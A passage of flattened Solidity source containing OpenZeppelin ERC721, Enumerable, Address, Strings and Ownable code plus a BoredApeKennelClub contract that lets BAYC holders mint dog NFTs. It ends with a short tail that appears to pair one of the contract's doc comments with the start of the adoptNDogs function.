* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/BoredApeKennelClub.sol
pragma solidity ^0.8.0;
abstract contract BAYC {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
contract BoredApeKennelClub is ERC721Enumerable, Ownable {
BAYC private bayc;
uint constant public MAX_DOG_ADOPTION = 50;
string public BakcProvenance;
bool public saleIsActive = false;
uint256 public collectionStartingIndex;
uint256 public collectionStartingIndexBlock;
uint256 public maxDogs;
uint256 public setBlockTimestamp;
uint256 public revealTimestamp;
string private baseURI;
constructor(
string memory name,
string memory symbol,
uint256 maxNftSupply,
uint256 saleStart,
address dependentContractAddress
) ERC721(name, symbol) {
maxDogs = maxNftSupply;
revealTimestamp = saleStart + (86400 * 7);
setBlockTimestamp = saleStart + (86400 * 6);
bayc = BAYC(dependentContractAddress);
}
function setRevealTimestamp(uint256 revealTimeStamp) public onlyOwner {
revealTimestamp = revealTimeStamp;
}
function setStartingBlockTimestamp(uint256 startingBlockTimestamp) public onlyOwner {
setBlockTimestamp = startingBlockTimestamp;
}
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
BakcProvenance = provenanceHash;
}
function isMinted(uint256 tokenId) external view returns (bool) {
require(tokenId < maxDogs, "tokenId outside collection bounds");
return _exists(tokenId);
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function setBaseURI(string memory uri) public onlyOwner {
baseURI = uri;
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function trySetStartingIndexBlock() private {
if (
collectionStartingIndexBlock == 0 &&
(totalSupply() == maxDogs || block.timestamp >= setBlockTimestamp)
) {
collectionStartingIndexBlock = block.number;
}
}
/**
* DM Gordy in Discord that you've got a cure for his bAby MoUtH.
*/
function adoptDog(uint256 baycTokenId) public {
require(saleIsActive, "Sale must be active to mint a Dog");
require(totalSupply() < maxDogs, "Purchase would exceed max supply of Dogs");
require(baycTokenId < maxDogs, "Requested tokenId exceeds upper bound");
require(bayc.ownerOf(baycTokenId) == msg.sender, "Must own the Bored Ape for requested tokenId to mint a Dog");
_safeMint(msg.sender, baycTokenId);
trySetStartingIndexBlock();
}
/**
* DM Garga in Discord, ask him if he's done his pushups
*/
function adoptNDogs(uint256 startingIndex, uint256 numDogs) public {
require(saleIsActive, "Sale must be active to mint a Dog");
require(numDogs > 0, "Must adopt at least one dog");
require(numDogs <= MAX_DOG_ADOPTION, "Cannot adopt more than fifty dogs at once");
uint balance = bayc.balanceOf(msg.sender);
require(balance > 0, "Must hold at least one Ape to mint a Dog");
require(balance >= startingIndex + numDogs, "Must hold at least as many Apes as the number of Dogs you intend to mint");
for(uint i = 0; i < balance && i < numDogs && i < MAX_DOG_ADOPTION; i++) {
require(totalSupply() < maxDogs, "Cannot exceed max supply of Dogs.");
uint tokenId = bayc.tokenOfOwnerByIndex(msg.sender, i + startingIndex);
if (!_exists(tokenId)) {
_safeMint(msg.sender, tokenId);
}
}
trySetStartingIndexBlock();
}
/**
* Set the starting index for the collection
*/
function setStartingIndex() public {
require(collectionStartingIndex == 0, "Starting index is already set");
require(collectionStartingIndexBlock != 0, "Starting index block must be set");
require(
block.timestamp >= revealTimestamp || totalSupply() == maxDogs,
"Must be on or after the reveal time to set starting index"
);
collectionStartingIndex = uint256(blockhash(collectionStartingIndexBlock)) % maxDogs;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if ((block.number - collectionStartingIndexBlock) > 255) {
collectionStartingIndex = uint256(blockhash(block.number - 1)) % maxDogs;
}
// Prevent default sequence
if (collectionStartingIndex == 0) {
collectionStartingIndex = collectionStartingIndex + 1;
}
}
/**
* Set the starting index block for the collection, essentially unblocking
* setting starting index
*/
function emergencySetStartingIndexBlock() public onlyOwner {
require(collectionStartingIndexBlock == 0, "Starting index block is already set");
require(collectionStartingIndex == 0, "Starting index is already set");
collectionStartingIndexBlock = block.number;
}
} | DM Garga in Discord, ask him if he's done his pushups/ | function adoptNDogs(uint256 startingIndex, uint256 numDogs) public {
require(saleIsActive, "Sale must be active to mint a Dog");
require(numDogs > 0, "Must adopt at least one dog");
